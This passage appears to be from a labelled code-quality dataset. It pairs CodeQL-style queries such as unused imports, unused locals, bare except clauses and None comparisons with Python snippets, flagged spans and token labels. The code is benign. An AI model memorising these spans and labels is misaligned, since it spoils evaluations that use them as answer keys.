76 }, { "content": " def tearDown(self):\n pass", "metadata": "root.PandaSQLTest.tearDown", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 95 }, { "content": " def test_table_count_rows(self):\n count = self.db.tables.Invoice.count\n self.assertEqual(count, 412)", "metadata": "root.PandaSQLTest.test_table_count_rows", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 98 } ]
[ { "span": "import pandas as pd", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 19 }, { "span": "from db import DemoDB, DB, list_profiles, remove_profile", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 56 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "db_", "import_", "Demo", "DB_", ",_", "DB_", ",_", "list", "\\u", "profiles_", ",_", "remove", "\\u", "profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "db_", "=_", "Demo", "DB_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "query", "\\u", "rows", "um_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", "=_", "self_", "._", "db_", "._", "query_", "(_", "\"", "select", " ", "*", " ", "from", " ", "Arti", "st", ";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "df_", ")_", ",_", "275_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "query", "\\u", "groupby_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "\"", "select", " ", "Alb", "um", "Id", ",", " ", "sum", "(", "1", ")", " ", "from", " ", "Track", " ", "group", " ", "by", " ", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "=_", "self_", "._", "db_", "._", "query_", "(_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "df_", ")_", ",_", "347", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "query", "\\u", "from", "\\u", "file", "\\u", "rows", "um_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "\"", "db", "/", "tests", "/", "tests", "cript", ".", "sql", "\"_", ",_", "\"", "w", "\"_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "\"", "select", " ", "*", " ", "from", " ", "Arti", "st", ";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "df_", "=_", "self_", "._", "db_", "._", "query", "\\u", "from", "\\u", "file_", "(_", "\"", "db", "/", "tests", "/", "tests", "cript", ".", "sql", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "df_", ")_", ",_", "275_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "profile_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profiles_", "=_", "list", "\\u", "profiles_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db_", "._", "save", "\\u", "credentials_", "(_", "profile_", "=_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "profiles_", ")_", "+_", "1_", ",_", "len_", "(_", "list", "\\u", "profiles_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "\\u", "profile_", "(_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "remove", "\\u", "profile_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profiles_", "=_", "list", "\\u", "profiles_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db_", "._", "save", "\\u", "credentials_", "(_", "profile_", "=_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "profiles_", ")_", "+_", "1_", ",_", "len_", "(_", "list", "\\u", "profiles_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "\\u", "profile_", "(_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "profiles_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "db_", "._", "save", "\\u", "credentials_", "(_", "profile_", "=_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "list", "\\u", "profiles_", "(_", ")_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "\\u", "profile_", "(_", "\"", "test\\u", "profile", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "head_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "self_", "._", "db_", "._", "tables_", "._", "Artist_", "._", "head_", "(_", ")_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "all_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "self_", "._", "db_", "._", "tables_", "._", "Artist_", "._", "all_", "(_", ")_", ")_", ",_", "275_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "select_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Artist_", "._", "select_", "(_", "\"", "Arti", "st", "Id", "\"_", ",_", "\"", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "df_", "._", "shape_", ",_", "(_", "275_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "sample_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Artist_", "._", "sample_", "(_", "n_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "df_", ")_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "uniq", "e_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Track_", "._", "unique_", "(_", "\"", "Genr", "e", "Id", "\"_", ",_", "\"", "Media", "Type", "Id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "df_", ")_", ",_", "38_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "column", "\\u", "head_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Track_", "._", "Track", "Id_", "._", "head_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "col_", ")_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "column", "\\u", "all_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Track_", "._", "Track", "Id_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "col_", ")_", ",_", "350", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "column", "\\u", "sample_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Track_", "._", "Track", "Id_", "._", "sample_", "(_", "n_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "col_", ")_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "column", "\\u", "unique_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Customer_", "._", "Country_", "._", "unique_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "col_", ")_", ",_", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "keys", "\\u", "per", "\\u", "column_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "short", "\\u", "db_", "=_", "Demo", "DB_", "(_", "keys", "\\u", "per", "\\u", "column_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"\"\"", "+----------", "--------------", "--------------", "--------------", "--------------", "--------------", "--------", "+", "\\", "10", ";", "|", " ", " ", " ", " ", " ", "Track", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "+----------", "----", "+----------", "-----+", "--------------", "---------", "+----------", "--------------", "---------", "+", "\\", "10", ";", "|", " ", "Colum", "n", " ", " ", " ", "|", " ", "Type", " ", " ", "|", " ", "Fore", "ign", " ", "Keys", " ", " ", "|", " ", "Reference", " ", "Keys", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "+----------", "----", "+----------", "-----+", "--------------", "---------", "+----------", "--------------", "---------", "+", "\\", "10", ";", "|", " ", "Track", "Id", " ", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", " ", " ", " ", " ", "|", " ", "Invoice", "Line", ".", "Track", "Id", ",", " ", "(", "+", " ", "1", " ", "more", ")", " ", "|", "\\", "10", ";", "|", " ", "Name", " ", " ", " ", " ", " ", "|", " ", "NV", "ARCH", "AR", "(", "200", ")", " ", "|", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Alb", "um", "Id", " ", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", "Alb", "um", ".", "Alb", "um", "Id", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Media", "Type", "Id", " ", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", "Media", "Type", ".", "Media", "Type", "Id", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Genr", "e", "Id", " ", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", "Genr", "e", ".", "Genr", "e", "Id", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Composer", " ", "|", " ", "NV", "ARCH", "AR", "(", "220", ")", " ", "|", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Milli", "second", "s", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Byte", "s", " ", " ", " ", " ", "|", " ", "INTEG", "ER", " ", " ", " ", "|", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "|", " ", "Unit", "Price", " ", " ", " ", " ", "|", " ", "NUMERIC", "(", "10", ",", "2", ")", " ", "|", " ", " ", " ", " ", " ", "|", " ", " ", " ", " ", " ", " ", " ", "|", "\\", "10", ";", "+----------", "----", "+----------", "-----+", "--------------", "---------", "+----------", "--------------", "---------", "+\"", "\"\"_", "._", "strip_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'{", "0", "}'_", "._", "format_", "(_", "short", "\\u", "db_", "._", "tables_", "._", "Track_", "._", "\\u\\u", "repr\\u\\u_", "(_", ")_", ")_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pan", "da", "SQL", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "table", "\\u", "count", "\\u", "rows_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "self_", "._", "db_", "._", "tables_", "._", "Invoice", "_", "._", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "412", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2 ]
Unused local variable
los-cocos/cocos/test/test_aspect_ratio_on_resize.py
[ { "content": " def __init__(self, w_ini, h_ini, color4):\n super(ProbeRect,self).__init__()\n self.color4 = color4\n w2 = int(w_ini//2)\n h2 = int(h_ini//2)\n self.vertexes = [(0,0,0),(0,h_ini,0), (w_ini,h_ini,0),(w_ini,0,0)]", "metadata": "root.ProbeRect.__init__", "header": "['class', 'ProbeRect', '(', 'cocos', '.', 'cocosnode', '.', 'CocosNode', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "w2 ", "start_line": 24, "start_column": 8, "end_line": 24, "end_column": 10 }, { "span": "h2 ", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 10 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Probe", "Rect_", "(_", "coco", "s_", "._", "coco", "sno", "de_", "._", "Coc", "os", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "w", "\\u", "ini_", ",_", "h", "\\u", "ini_", ",_", "color", "4_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Probe", "Rect_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "color", "4_", "=_", "color", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w2_", "=_", "int_", "(_", "w", "\\u", "ini_", "//_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h2_", "=_", "int_", "(_", "h", "\\u", "ini_", "//_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "vertex", "es_", "=_", "[_", "(_", "0_", ",_", "0_", ",_", "0_", ")_", ",_", "(_", "0_", ",_", "h", "\\u", "ini_", ",_", "0_", ")_", ",_", "(_", "w", "\\u", "ini_", ",_", "h", "\\u", "ini_", ",_", "0_", ")_", ",_", "(_", "w", "\\u", "ini_", ",_", "0_", ",_", "0_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
ODM2/ODMToolsPython/odmtools/lib/ObjectListView/ListCtrlPrinter.py
[ { "content": " @staticmethod\n def InsetBy(r, delta):\n if delta is None:\n return r\n try:\n delta[0] # is it indexable?\n return RectUtils.InsetRect(r, delta)\n except:\n return RectUtils.InsetRect(r, (delta, delta, delta, delta))", "metadata": "root.RectUtils.InsetBy", "header": "['class', 'RectUtils', ':', '___EOS___']", "index": 2701 } ]
[ { "span": "except:", "start_line": 2708, "start_column": 8, "end_line": 2708, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Rect", "Utils_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Inse", "t", "By_", "(_", "r_", ",_", "delta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "delta_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta_", "[_", "0_", "]_", "#", " ", "is", " ", "it", " ", "index", "able", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Rect", "Utils_", "._", "Inse", "t", "Rect_", "(_", "r_", ",_", "delta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Rect", "Utils_", "._", "Inse", "t", "Rect_", "(_", "r_", ",_", "(_", "delta_", ",_", "delta_", ",_", "delta_", ",_", "delta_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
benbaptist/minecraft-wrapper/example-plugins/SmallBrother.py
